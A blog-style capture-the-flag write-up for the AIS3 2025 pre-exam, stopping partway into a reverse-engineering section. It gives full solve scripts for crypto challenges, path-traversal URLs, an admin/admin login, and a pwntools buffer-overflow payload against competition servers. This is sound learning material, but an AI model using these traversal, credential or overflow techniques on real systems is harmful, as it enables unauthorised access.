2025 AIS3 pre-exam

第二次打pre-exam

Sun Jun 01 2025
4611 words · 41 minutes

[Welcome]

image

[Stream]

題目

from random import getrandbits
import os
from hashlib import sha512
from flag import flag
def hexor(a: bytes, b: int):
return hex(int.from_bytes(a)^b**2)
for i in range(80):
print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256)))
print(hexor(flag, getrandbits(256)))

他會輸出前 80 個 sha512(os.urandom(1))ri2sha512(os.urandom(1)) \oplus r_i \\^2 最後一行是 flag  r_flag2flag\ \oplus \ r\_flag^2

sha512(os.urandom(1)) 只有 256 種可能,可以暴力解 還原前 80 個 r_i:對每個 cipher,嘗試 cipher ^ digest[b],檢查是否為平方

import hashlib, math, random, sys
def untemper(y):
y ^= y >> 18
y ^= (y << 15) & 0xEFC60000
for _ in range(7): y ^= (y << 7) & 0x9D2C5680
for _ in range(3): y ^= y >> 11
return y & 0xFFFFFFFF
ciphers = [int(l.strip(), 16) for l in open(sys.argv[1])]
digest = [int.from_bytes(hashlib.sha512(bytes([b])).digest(), 'big') for b in range(256)]
rs = []
for c in ciphers[:80]:
for d in digest:
sq = c ^ d
r = math.isqrt(sq)
if r*r == sq:
rs.append(r); break
words = [(r >> (32*i)) & 0xFFFFFFFF for r in rs for i in range(8)]
state = (3, (2147483648, *[untemper(w) for w in words[:623]], 1), None)
rng = random.Random(); rng.setstate(state)
for _ in range(80): rng.getrandbits(256)
r_flag = rng.getrandbits(256)
flag_int = ciphers[80] ^ (r_flag * r_flag)
print(flag_int.to_bytes((flag_int.bit_length()+7)//8, 'big').decode())
Terminal window
[18:26:42] ~/Downloads/dist-stream-2ee294b153c47451391a447691e5caa7d85d5d0e ➜ python3 2.py output.txt
AIS3{no_more_junks...plz}

[Hill]

題目

import numpy as np
p = 251
n = 8
def gen_matrix(n, p):
while True:
M = np.random.randint(0, p, size=(n, n))
if np.linalg.matrix_rank(M % p) == n:
return M % p
A = gen_matrix(n, p)
B = gen_matrix(n, p)
def str_to_blocks(s):
data = list(s.encode())
length = ((len(data) - 1) // n) + 1
data += [0] * (n * length - len(data)) # padding
blocks = np.array(data, dtype=int).reshape(length, n)
return blocks
def encrypt_blocks(blocks):
C = []
for i in range(len(blocks)):
if i == 0:
c = (A @ blocks[i]) % p
else:
c = (A @ blocks[i] + B @ blocks[i-1]) % p
C.append(c)
return C
flag = "AIS3{Fake_FLAG}"
blocks = str_to_blocks(flag)
ciphertext = encrypt_blocks(blocks)
print("Encrypted flag:")
for c in ciphertext:
print(c)
t = input("input: ")
blocks = str_to_blocks(t)
ciphertext = encrypt_blocks(blocks)
for c in ciphertext:
print(c)

連上後會先印出某個矩陣矩陣

矩陣 AZpn×nA \in \mathbb{Z}_p^{n \times n},其中 n=8n = 8
矩陣 BZpn×nB \in \mathbb{Z}_p^{n \times n}

將明文切成 8 bit 組一組的向量 m0,m1,,mL1m_0, m_1, \dots, m_{L-1}

加密規則如下:

{c0=Am0ci=Ami+Bmi1,for  i1\begin{cases} c_0 = A \cdot m_0 \\ c_i = A \cdot m_i + B \cdot m_{i-1}, & \text{for } \ i \geq 1\end{cases}

對於每一列 row=0,1,,7\text{row} = 0, 1, \dots, 7,有:

(mi)1×n ⁣ ⁣Ar, ⁣  +  (mi1)1×n ⁣ ⁣Br, ⁣  =  ci[r](modp)\underbrace{\bigl(\mathbf{m}_i\bigr)^\top}_{1 \times n}\!\!\mathbf{A}_{r,*}^{\!\top}\;+\;\underbrace{\bigl(\mathbf{m}_{i-1}\bigr)^\top}_{1 \times n}\!\!\mathbf{B}_{r,*}^{\!\top}\;=\;\mathbf{c}_i[r]\pmod{p}

A1A^-1

A1=[AI][IA1](modp)\mathbf{A}^{-1} = \bigl[\,\mathbf{A} \mid \mathbf{I}\,\bigr] \xrightarrow{} \bigl[\,\mathbf{I} \mid \mathbf{A}^{-1}\,\bigr] \pmod{p}

m0=A1c0(modp)\mathbf{m}_0 = \mathbf{A}^{-1} \mathbf{c}_0 \pmod{p}

mi=A1(ciBmi1)(modp)\mathbf{m}_i = \mathbf{A}^{-1} \left(\mathbf{c}_i - \mathbf{B} \mathbf{m}_{i-1} \right) \pmod{p}

1{i1}={0,i=01,i1\mathbb{1}_{\{i \ge 1\}} = \begin{cases} 0, & i = 0 \\ 1, & i \ge 1 \end{cases}

M=[m0m1mk]Zp(k+1)×n\mathbf{M} = \begin{bmatrix} \mathbf{m}_0 \\ \mathbf{m}_1 \\ \vdots \\ \mathbf{m}_k \end{bmatrix} \in \mathbb{Z}_p^{(k+1) \times n}

p=vec(M)=[m0,0m0,n1m1,0mk,n1]ZpN,N=n(k+1)\mathbf{p} = \mathrm{vec}(\mathbf{M}) = \begin{bmatrix} m_{0,0} \\ \vdots \\ m_{0,n-1} \\ m_{1,0} \\ \vdots \\ m_{k,n-1} \end{bmatrix} \in \mathbb{Z}_p^N, \quad N = n(k+1)

j=max{jpj0},p=(p0,,pj)j = \max\{\, j \mid \mathbf{p}_j \ne 0 \,\}, \quad {\mathbf{p}} = ( \mathbf{p}_0, \dots, \mathbf{p}_{j^{\star}} )

FLAG=ASCII(p){\text{FLAG} = \mathrm{ASCII}({\mathbf{p}})}

from pwn import *
import numpy as np
import random
p_mod ,n ,L= 251, 8, 20
def mod_inv(a):
return pow(int(a) % p_mod, p_mod - 2, p_mod)
def gauss_solve(mat, vec):
mat = mat.copy() % p_mod
vec = vec.copy() % p_mod
r, c = mat.shape
row = 0
for col in range(c):
pivot = next((i for i in range(row, r) if mat[i, col]), None)
if pivot is None:
continue
if pivot != row:
mat[[row, pivot]] = mat[[pivot, row]]
vec[[row, pivot]] = vec[[pivot, row]]
inv = mod_inv(mat[row, col])
mat[row] = (mat[row] * inv) % p_mod
vec[row] = (vec[row] * inv) % p_mod
for i in range(r):
if i == row:
continue
factor = mat[i, col]
if factor:
mat[i] = (mat[i] - factor * mat[row]) % p_mod
vec[i] = (vec[i] - factor * vec[row]) % p_mod
row += 1
if row == r:
break
sol = np.zeros(c, dtype=int)
for i in range(r):
leading = next((j for j in range(c) if mat[i, j]), None)
if leading is not None:
sol[leading] = vec[i] % p_mod
return sol
io = remote('chals1.ais3.org', 18000)
io.recvuntil(b"Encrypted flag:\n")
data = io.recvuntil(b"input: ")
lines = data.decode().splitlines()
flag_ct = []
for l in lines:
l = l.strip()
if l.startswith('['):
nums = [int(x) for x in l.strip('[]').split()]
flag_ct.append(nums)
flag_ct = np.array(flag_ct, dtype=int) % p_mod
plain_bytes = [random.randint(33, 126) for _ in range(L * n)]
my_plain = "".join(chr(b) for b in plain_bytes)
io.sendline(my_plain.encode())
my_ct = []
for _ in range(L):
line = io.recvline().strip().decode()
nums = [int(x) for x in line.strip("[]").split()]
my_ct.append(nums)
my_ct = np.array(my_ct, dtype=int) % p_mod
io.close()
my_blocks = np.array(plain_bytes, dtype=int).reshape(L, n) % p_mod
A = np.zeros((n, n), dtype=int)
B = np.zeros((n, n), dtype=int)
for row in range(n):
mat = np.zeros((L, 2 * n), dtype=int)
rhs = my_ct[:, row]
for i in range(L):
mat[i, :n] = my_blocks[i]
if i > 0:
mat[i, n:] = my_blocks[i - 1]
sol = gauss_solve(mat, rhs)
A[row] = sol[:n]
B[row] = sol[n:]
A_aug = np.concatenate([A, np.eye(n, dtype=int)], axis=1) % p_mod
for col in range(n):
pivot = next(i for i in range(col, n) if A_aug[i, col])
if pivot != col:
A_aug[[col, pivot]] = A_aug[[pivot, col]]
inv = mod_inv(A_aug[col, col])
A_aug[col] = (A_aug[col] * inv) % p_mod
for r in range(n):
if r == col:
continue
factor = A_aug[r, col]
if factor:
A_aug[r] = (A_aug[r] - factor * A_aug[col]) % p_mod
A_inv = A_aug[:, n:] % p_mod
m_blocks = []
m0 = (A_inv @ flag_ct[0]) % p_mod
m_blocks.append(m0)
for i in range(1, len(flag_ct)):
tmp = (flag_ct[i] - (B @ m_blocks[i - 1]) % p_mod) % p_mod
mi = (A_inv @ tmp) % p_mod
m_blocks.append(mi)
m_blocks = np.array(m_blocks, dtype=int)
plain_nums = m_blocks.flatten().tolist()
while plain_nums and plain_nums[-1] == 0:
plain_nums.pop()
flag_bytes = bytes(plain_nums)
print(flag_bytes.decode())
[13:44:07] ~/Documents/code MacOS/daily/PLAYGROUND FOLDER/py ➜ /usr/local/bin/python3 "/Users/yih_0118/Documents/code MacOS/daily/PLAYGROUND FOLDER/py/237.py"
[+] Opening connection to chals1.ais3.org on port 18000: Done
[*] Closed connection to chals1.ais3.org port 18000
AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}

[Random_RSA]

題目

chall.py
from Crypto.Util.number import getPrime, bytes_to_long
from sympy import nextprime
from gmpy2 import is_prime
FLAG = b"AIS3{Fake_FLAG}"
a = getPrime(512)
b = getPrime(512)
m = getPrime(512)
a %= m
b %= m
seed = getPrime(300)
rng = lambda x: (a*x + b) % m
def genPrime(x):
x = rng(x)
k=0
while not(is_prime(x)):
x = rng(x)
return x
p = genPrime(seed)
q = genPrime(p)
n = p * q
e = 65537
m_int = bytes_to_long(FLAG)
c = pow(m_int, e, n)
# hint
seed = getPrime(300)
h0 = rng(seed)
h1 = rng(h0)
h2 = rng(h1)
with open("output.txt", "w") as f:
f.write(f"h0 = {h0}\n")
f.write(f"h1 = {h1}\n")
f.write(f"h2 = {h2}\n")
f.write(f"M = {m}\n")
f.write(f"n = {n}\n")
f.write(f"e = {e}\n")
f.write(f"c = {c}\n")

rng(x)=ax+b(modm)\text{rng}(x)=a\,x+b \pmod{m}\qquad m=512‑bit primem=\text{512‑bit prime}

  • seed = getPrime(300)
  • p=p= rngk(seed))\text{rng}^k(\text{seed}))
  • q=q= (rng(p))(\text{rng}^\ell(p))
  • RSARSA(n=pq,  e=65537,  c=cipher)(n=pq,\;e=65537,\;c=\text{cipher})

{h1ah0+b(modm)h2ah1+b(modm)\begin{cases}h_1 \equiv a\,h_0+b \pmod m\\ h_2 \equiv a\,h_1+b \pmod m \end{cases}

消元可得

a(h1h2)(h0h1)1(modm),\boxed{\,a \equiv (h_1-h_2)\,(h_0-h_1)^{-1} \pmod m\,}, \qquad bh1ah0(modm)\boxed{\,b \equiv h_1-a\,h_0 \pmod m\,}

對任意 (t1)(t\ge1)

rngt(x)Atx+Bt(modm),{At=atmodm,Bt=bat1a1modm\text{rng}^t(x)\equiv A_t\,x+B_t\pmod m,\quad \begin{cases} A_t=a^t\bmod m,\\[6pt] \displaystyle B_t=b\,\frac{a^t-1}{a-1}\bmod m \end{cases}

(t=k)(t=k) 使 (rngk(seed)=p)(\text{rng}^k(\text{seed})=p)

(s=seed)(s=\text{seed}),則

pAs+B(modm)s(pB)A1(modm).p \equiv A\,s+B \pmod m \quad\Longrightarrow\quad s \equiv (p-B)A^{-1}\pmod m.

消去 (s):得到二次同餘

(2Ap+B)2B2+4An(modm)(2Ap+B)^2 \equiv B^2+4An \pmod m


Δ=B2+4An(modm)\Delta = B^2+4A n \pmod m

則 (p) 為

pB±Δ2A(modm)\boxed{\,p \equiv \dfrac{-B \pm \sqrt{\Delta}}{2A}\pmod m\,}

只要 (Δ)(\Delta) 在模 (m)(m) 下即可取根

from sympy import sqrt_mod, mod_inverse, isprime
from Crypto.Util.number import long_to_bytes
h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690
h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530
h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133
m = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413
n = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283
e = 65537
c = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201
a = (h1 - h2) * mod_inverse(h0 - h1, m) % m
b = (h1 - a * h0) % m
inv_am1 = mod_inverse((a - 1) % m, m)
for t in range(1, 600):
A = pow(a, t, m)
B = b * (A - 1) * inv_am1 % m
Δ = (B*B + 4*A*n) % m
roots = sqrt_mod(Δ, m, all_roots=True)
for r in roots:
p = ((-B + r) * mod_inverse(2*A, m)) % m
if p and n % p == 0 and isprime(p):
q = n // p
assert isprime(q)
φ = (p-1)*(q-1)
d = mod_inverse(e, φ)
flag = long_to_bytes(pow(c, d, n))
print(flag.decode())
exit(0)
[14:35:43] ~/Documents/code MacOS/daily/PLAYGROUND FOLDER/py ➜ /usr/local/bin/python3 "/Users/yih_0118/Documents/code MacOS/daily/PLAYGROUND FOLDER/py/233.py"
AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}

[Happy Happy Factoring]

題目

import random
from functools import reduce
from gmpy2 import is_prime
prime_list = [num for num in range(3, 5000) if is_prime(num)]
def get_william_prime():
while True:
li = [2] + random.choices(prime_list, k=85)
n = reduce(lambda x, y: x * y, li)
if is_prime(n - 1):
return n - 1
def get_pollard_prime():
while True:
li = [2] + random.choices(prime_list, k=85)
n = reduce(lambda x, y: x * y, li)
if is_prime(n + 1):
return n + 1
def get_fermat_prime():
a = random.getrandbits(1024)
if a % 2 != 0:
a += 1
check = 0
for offset in range(random.getrandbits(512) | 1, 1 << 512 + 1, 2):
if (not check & 1) and is_prime(a + offset):
check |= 1
p = a + offset
if (not check & 2) and is_prime(a - offset):
check |= 2
q = a - offset
if check == 3:
return p, q
def main():
wi = get_william_prime()
po = get_pollard_prime()
fp, fq = get_fermat_prime()
n = wi * po * po * fp * fq
e = 0x10001
m = int.from_bytes(open('flag.txt').read().strip().encode())
c = pow(m, e, n)
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
main()

題目把 4 個大質數相乘得到
n=wi  po2  fp  fqn = w_i \; p_o^{\,2} \; f_p \; f_q

對於質數p,如果p-1的所有質因數都較小,則可以通過以下步驟找到p:

  1. 選擇底數a
  2. 計算 a^B mod n,其中B是所有小質數的乘積
  3. 如果p-1的所有因數都包含在B中,則 a^B ≡ 1 (mod p)
  4. 計算 gcd(a^B - 1, n) 可能得到p

對於質數p,如果p1=q1α1×q2α2××qkαkp - 1 = q_1^{\alpha_1} \times q_2^{\alpha_2} \times \cdots \times q_k^{\alpha_k}

則對於底數a:

ap11(modp)a^{p-1} \equiv 1 \pmod{p}

如果B=lcm(q1α1, q2α2, , qkαk)B = \mathrm{lcm}(q_1^{\alpha_1},\ q_2^{\alpha_2},\ \ldots,\ q_k^{\alpha_k}),則:

aB1(modp)a^B \equiv 1 \pmod{p}gcd(aB1, n)=p\gcd(a^B - 1,\ n) = p

import re, math
n = 60763718988363732014714378240503239363378716344786064427633103900163714795049031343530976333384849092574531088958278531796791269274033045247468279778697834271056697703384043345478274417830331218076647357163447985776813989427400170525437678547826499412542686651017218028970864190216904615610527825259880112714553787804820022215890969437398474372702507063412690704689550295715710210726663486141414839866746195390190050689478793788994971113120247044980308444816728343285377217719743417243597984030508281943509471779819738142587401185391525828957277332050173790712364630350364573645269670566599757124924556318618780988680189777327076706459707684684212592008631793816662912108065408593909988525347442925181041282276218509071711541277729368738735764243654195687411950100527148736266697290008653570361567103718692686950265823409008150425223699459852898223162147029064447737730602794595138107108115161225211304281588196101442541064849330085624077639919266218475926019026834286095322529307797803560019118617515335223076631003247439277523058831709125266949216817874124236017467949448675716346763692924023726148784017135614973119630683596746148387050812840110466838283975867125038922845823807931521243892970213719547931807222621641732942788807438874234021460457789662655868012096318135427733535828701239344723536380874649435986485519446498010249439129416294059581506089078379364874801633348823482500982032017362540718382857218498839339
e = 65537
c = 44207030878602255093439727713627529424714536888513933329918295258695649333115968449370359700222302579245312436480617326596647245058051575370999951904443151550015706074625370328401332779076604686192843031449186235749865643368166253840337277509707994397801878226500358006463024635087435969538998524734582405866525600851546459050191793239073846810455635211879914050737467404026533874103858418973673243458902849516794733035491504110489194944517745006206578407001620379259037944572489812890427482523341875844231406658507757087786915450447369790738422106207343811320979464959215733209780327553156828306906699830103249980426322575134388451893085145613033052707119244509600245343514769051601842478130345500737780120982516001378114355893400613318479527209307727381442878249151936468300312623822839419034585228514262658066842576813177085447513589259064467260172762603680019928473807935131716584215553191881403885379486263800885157417935351355285318307493812608156009093176418157547185476076384813081081655591478637089927732990897838102722736056096469961634469383933144558941569830176969764313728115821455037916103169727305546266609284138398242237907130652437778206322442252293263897704265426827967602427841795290642868172013365981708186335407114033847578653977681421086305327283866009608036787400010585809721949312065234506464271259806098824737010873785025492695022775753403396509548322949271103192949782516909378429902333959165240991
def primes_upto(m=5000):
sieve = bytearray(b"\x01") * (m + 1)
sieve[0:2] = b"\x00\x00"
for i in range(2, int(m ** 0.5) + 1):
if sieve[i]:
sieve[i * i : m + 1 : i] = b"\x00" * ((m - i * i) // i + 1)
return [i for i in range(2, m + 1) if sieve[i]]
SMALL_PRIMES = primes_upto()
def pollard_pm1(N, rounds=128, bases=(2, 3, 5, 7, 11, 13, 17, 19)):
for a0 in bases:
a = a0
for q in SMALL_PRIMES:
for _ in range(rounds):
a = pow(a, q, N)
g = math.gcd(a - 1, N)
if 1 < g < N:
return g
return None
def invmod(a, m):
return pow(a, -1, m)
def extract_n_e_c(text):
n = int(re.search(r'n\s*=\s*(\d+)', text).group(1))
e = int(re.search(r'e\s*=\s*(\d+)', text).group(1))
c = int(re.search(r'c\s*=\s*(\d+)', text).group(1))
return n, e, c
p = pollard_pm1(n)
if n % (p * p):
r = math.isqrt(p)
if r * r == p and n % (r * r) == 0:
p = r
assert n % (p * p) == 0
d = invmod(e, p - 1)
m = pow(c, d, p)
msg = m.to_bytes((m.bit_length() + 7) // 8, "big")
print(msg.decode())
[13:28:13] ~/Downloads/dist-happy-happy-factoring-95b63f1513c5473a8ac6251ce96e1602f81a2121 ➜ /usr/local/bin/python3 /Users/yih_0118/Downloads/dist-happy-happy-factoring-95b63f1513c5473a8ac6251ce96e1602f81a2121/2.py
AIS3{H@ppY_#ap9y_CRypT0_F4(7or1n&~~~}

[SlowECDSA]

題目

#!/usr/bin/env python3
import hashlib, os
from ecdsa import SigningKey, VerifyingKey, NIST192p
from ecdsa.util import number_to_string, string_to_number
from Crypto.Util.number import getRandomRange
from flag import flag
FLAG = flag
class LCG:
def __init__(self, seed, a, c, m):
self.state = seed
self.a = a
self.c = c
self.m = m
def next(self):
self.state = (self.a * self.state + self.c) % self.m
return self.state
curve = NIST192p
sk = SigningKey.generate(curve=curve)
vk = sk.verifying_key
order = sk.curve.generator.order()
lcg = LCG(seed=int.from_bytes(os.urandom(24), 'big'), a=1103515245, c=12345, m=order)
def sign(msg: bytes):
h = int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order
k = lcg.next()
R = k * curve.generator
r = R.x() % order
s = (pow(k, -1, order) * (h + r * sk.privkey.secret_multiplier)) % order
return r, s
def verify(msg: str, r: int, s: int):
h = int.from_bytes(hashlib.sha1(msg.encode()).digest(), 'big') % order
try:
sig = number_to_string(r, order) + number_to_string(s, order)
return vk.verify_digest(sig, hashlib.sha1(msg.encode()).digest())
except:
return False
example_msg = b"example_msg"
print("Available options: get_example, verify")
while True:
opt = input("Enter option: ").strip()
if opt == "get_example":
print(f"msg: {example_msg.decode()}")
example_r, example_s = sign(example_msg)
print(f"r: {hex(example_r)}")
print(f"s: {hex(example_s)}")
elif opt == "verify":
msg = input("Enter message: ").strip()
r = int(input("Enter r (hex): ").strip(), 16)
s = int(input("Enter s (hex): ").strip(), 16)
if verify(msg, r, s):
if msg == "give_me_flag":
print(FLAG.decode())

ECDSA簽章的產生過程:

  1. h=SHA1(msg)modnh = \text{SHA1}(\text{msg}) \bmod n
  2. 隨機數:kk
  3. R=kGR = k \cdot G
  4. r=Rxmodnr = R_x \bmod n
  5. s=k1(h+rd)modns = k^{-1}(h + r \cdot d) \bmod n

LCG的遞推公式: Xn+1=(aXn+c)modmX_{n+1} = (a \cdot X_n + c) \bmod m

題目中的參數:

  • a=1103515245a = 1103515245
  • c=12345c = 12345
  • m=orderm = \text{order}

對於兩個連續 (r0,s0)(r_0, s_0)(r1,s1)(r_1, s_1),我們有:

s0=k01(h0+r0d)modns_0 = k_0^{-1}(h_0 + r_0 \cdot d) \bmod n

s1=k11(h1+r1d)modns_1 = k_1^{-1}(h_1 + r_1 \cdot d) \bmod n

其中 k1=(ak0+c)modnk_1 = (a \cdot k_0 + c) \bmod n,且 h0=h1= ...h_0 = h_1 = \ ...

從方程式中消除 dd

k0=s01(h0+r0d)modnd=(s0k0h0)r01modnk_0 = s_0^{-1}(h_0 + r_0 \cdot d) \bmod n \Rightarrow d = (s_0 \cdot k_0 - h_0) \cdot r_0^{-1} \bmod n

k1=s11(h1+r1d)modnd=(s1k1h1)r11modnk_1 = s_1^{-1}(h_1 + r_1 \cdot d) \bmod n \Rightarrow d = (s_1 \cdot k_1 - h_1) \cdot r_1^{-1} \bmod n

使兩式相等 (s0k0h0)r01=(s1k1h1)r11modn(s_0 \cdot k_0 - h_0) \cdot r_0^{-1} = (s_1 \cdot k_1 - h_1) \cdot r_1^{-1} \bmod n

k1=ak0+ck_1 = a \cdot k_0 + ch0=h1=hexh_0 = h_1 = h_{\text{ex}} 代入並整理

s0k0r1hexr1=s1(ak0+c)r0hexr0modns_0 \cdot k_0 \cdot r_1 - h_{\text{ex}} \cdot r_1 = s_1 \cdot (a \cdot k_0 + c) \cdot r_0 - h_{\text{ex}} \cdot r_0 \bmod n

s0k0r1hexr1=s1ak0r0+s1cr0hexr0modns_0 \cdot k_0 \cdot r_1 - h_{\text{ex}} \cdot r_1 = s_1 \cdot a \cdot k_0 \cdot r_0 + s_1 \cdot c \cdot r_0 - h_{\text{ex}} \cdot r_0 \bmod n

k0(s0r1s1ar0)=hexr1s1cr0+hexr0modnk_0(s_0 \cdot r_1 - s_1 \cdot a \cdot r_0) = h_{\text{ex}} \cdot r_1 - s_1 \cdot c \cdot r_0 + h_{\text{ex}} \cdot r_0 \bmod n

k0(s0r1s1ar0)=hex(r1r0)+s1cr0modnk_0(s_0 \cdot r_1 - s_1 \cdot a \cdot r_0) = h_{\text{ex}}(r_1 - r_0) + s_1 \cdot c \cdot r_0 \bmod n

設:

  • A=s1ar0s0r1modnA = s_1 \cdot a \cdot r_0 - s_0 \cdot r_1 \bmod n
  • B=s1cr0+hex(r1r0)modnB = s_1 \cdot c \cdot r_0 + h_{\text{ex}} \cdot (r_1 - r_0) \bmod n

則: k0=(B)A1modnk_0 = (-B) \cdot A^{-1} \bmod n

一旦得到 k0k_0dd 可以透過以下公式計算:

d=(s0k0hex)r01modnd = (s_0 \cdot k_0 - h_{\text{ex}}) \cdot r_0^{-1} \bmod n

偽造簽章

計算未來的隨機數:

k1=(ak0+c)modnk_1 = (a \cdot k_0 + c) \bmod n

k2=(ak1+c)modnk_2 = (a \cdot k_1 + c) \bmod n

對 “give_me_flag” 產生簽章:

h=SHA1(give_me_flag)modnh = \mathrm{SHA1}(\text{give\_me\_flag}) \bmod n

R=k2GR = k_2 \cdot G

r=Rxmodnr = R_x \bmod n

s=k21(htarget+rd)modns = k_2^{-1}(h_{\text{target}} + r \cdot d) \bmod n

from pwn import *
import re, hashlib
from ecdsa import NIST192p
from Crypto.Util.number import inverse
curve = NIST192p
G = curve.generator
n = G.order()
a, c = 1103515245, 12345
h_ex = int.from_bytes(hashlib.sha1(b"example_msg").digest(), 'big') % n
def recv_pair(io):
io.recvuntil(b"msg:")
io.recvline()
r_line = io.recvline()
s_line = io.recvline()
r = int(re.search(rb"0x[0-9a-f]+", r_line)[0], 16)
s = int(re.search(rb"0x[0-9a-f]+", s_line)[0], 16)
return r, s
io = remote('chals1.ais3.org', 19000)
for _ in range(2):
io.recvuntil(b"Enter option:")
io.sendline(b"get_example")
if _ == 0:
r0, s0 = recv_pair(io)
else:
r1, s1 = recv_pair(io)
A = (a * s1 * r0 - r1 * s0) % n
B = (c * s1 * r0 + h_ex * (r1 - r0)) % n
k0 = (-B) * inverse(A, n) % n
d = (s0 * k0 - h_ex) * inverse(r0, n) % n
print(f"[+] k0 = {k0}")
print(f"[+] d = {d}")
k1 = (a * k0 + c) % n
k2 = (a * k1 + c) % n
R = k2 * G
r = R.x() % n
h_target = int.from_bytes(hashlib.sha1(b"give_me_flag").digest(), 'big') % n
s = (inverse(k2, n) * (h_target + r * d)) % n
io.recvuntil(b"Enter option:")
io.sendline(b"verify")
io.sendline(b"give_me_flag")
io.sendline(hex(r).encode())
io.sendline(hex(s).encode())
io.interactive()
[01:00:10] ~/Documents/code MacOS/daily/PLAYGROUND FOLDER/py ➜ /usr/local/bin/python3 "/Users/yih_0118/Documents/code MacOS/daily/PLAYGROUND FOLDER/py/236.py"
[+] Opening connection to chals1.ais3.org on port 19000: Done
[+] k0 = 3517535011547372439667544428981429247283241746564365149642
[+] d = 742592174612735250432633840589015146439226119723506253349
[*] Switching to interactive mode
Enter message: Enter r (hex): Enter s (hex): ✅ Correct signature! Here's your flag:
AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}
Enter option: $
[*] Interrupted
[*] Closed connection to chals1.ais3.org port 19000

[Tomorin db 🐧]

主要他會redirect

package main
import "net/http"
func main() {
http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
})
http.ListenAndServe(":30000", nil)
}

繞過就好

[14:45:19] ~ ➜ curl "http://chals1.ais3.org:30000/flag/..%2fflag"
AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}

[Login Screen 1]

他的users.db可以直接下載到 image 直接看光光

弱密碼admin/admin 直接知道2fa code 就看到了 image

[Ramen CTF]

去看發票的賣家統編 chal 2

根據qrcode上的資料會找到是 AIS3{樂山溫泉拉麵:蝦拉麵}

[AIS3 Tiny Server - Web / Misc]

慢慢去翻 會發現//會看到目錄下的東西 http://chals1.ais3.org:20274//proc/self/root/readable_flag_qnmAwQttOwNaFbe8nVHmJoMwQBJJGnlE

AIS3{tInY_We8_53rVeR_W1tH_FILe_8rOWs1n9_a$_@_FeaTUre}

[Welcome to the World of Ave Mujica🌙]

丟ida後的main

int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[143]; // [rsp+0h] [rbp-A0h] BYREF
char s[8]; // [rsp+8Fh] [rbp-11h] BYREF
unsigned __int8 int8; // [rsp+97h] [rbp-9h]
char *v7; // [rsp+98h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
printf("\x1B[2J\x1B[1;1H");
printf("\x1B[31m");
printf("%s", (const char *)banner);
puts(&byte_402A78);
puts(&byte_402AB8);
fgets(s, 8, stdin);
v7 = strchr(s, 10);
if ( v7 )
*v7 = 0;
if ( strcmp(s, "yes") )
{
puts(&byte_402AE8);
exit(1);
}
printf(&byte_402B20);
int8 = read_int8();
printf(&byte_402B41);
read(0, buf, int8);
return 0;
}

read_int8() 函數unsigned __int8的時候 -1 時,在 signed 解釋下為 -1 但當轉換為 unsigned __int8會被解釋為 255 當int8 = 255 時,可以寫入 255

[rsp+0h] -> buf[143] (143 bytes)
[rsp+8Fh] -> s[8] (8 bytes)
[rsp+97h] -> int8 (1 byte)
[rsp+98h] -> v7 (8 bytes)
[rbp+8h] -> return address

計算 offset:

  • buf:rsp+0h
  • return address 位置:rbp+8h
  • rbp 在 rsp+0xA0h 的位置
  • 所以 offset = 0xA0 + 8 = 168
from pwn import *
context.encoding = 'utf-8'
context.log_level = 'debug'
elf = ELF('./chal')
p = remote('chals1.ais3.org', 60890)
p.recvuntil('你願意把剩餘的人生交給我嗎?'.encode())
p.sendline(b'yes')
p.recvuntil('告訴我你的名字的長度:'.encode())
p.sendline(b'-1')
offset = 168
win_addr = elf.symbols['Welcome_to_the_world_of_Ave_Mujica']
payload = b'A' * offset + p64(win_addr)
p.sendafter('告訴我你的名字:'.encode(), payload)
p.interactive()
root@DESKTOP-EL5KGCJ:/mnt/c/Users/User/Downloads/dist-ave-mujica-35b29c89e8867ab33fcb802afcc3488a28c210f1/service# python3 1.py
[*] '/mnt/c/Users/User/Downloads/dist-ave-mujica-35b29c89e8867ab33fcb802afcc3488a28c210f1/service/chal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[x] Opening connection to chals1.ais3.org on port 60[▁] Opening connection to chals1.ais3.org on port 60403:Opening connection to chals1.ais3.org on port 60[+] Done
[*] Switching to interactive mode
🎸 歡迎來到 Ave Mujica 的世界...🎭
由 豐川集團 獨家冠名贊助
ト(😮T)
ガ(😃G)
ワ(😉W)
グルー(😄👐)プ
立希漂亮漂亮漂亮
海鈴帥氣帥氣帥氣
$ cat flag
AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._f8 8950d30bae763ad176c839f48fbd326}
$
[*] Interrupted
[*] Closed connection to chals1.ais3.org port 60403

[AIS3 Tiny Server - Reverse]

在ida逆向後有看到一個神秘的東西

BOOL __cdecl sub_1E20(int a1)
{
unsigned int v1; // ecx
char v2; // si
char v3; // al
int i; // eax
char v5; // dl
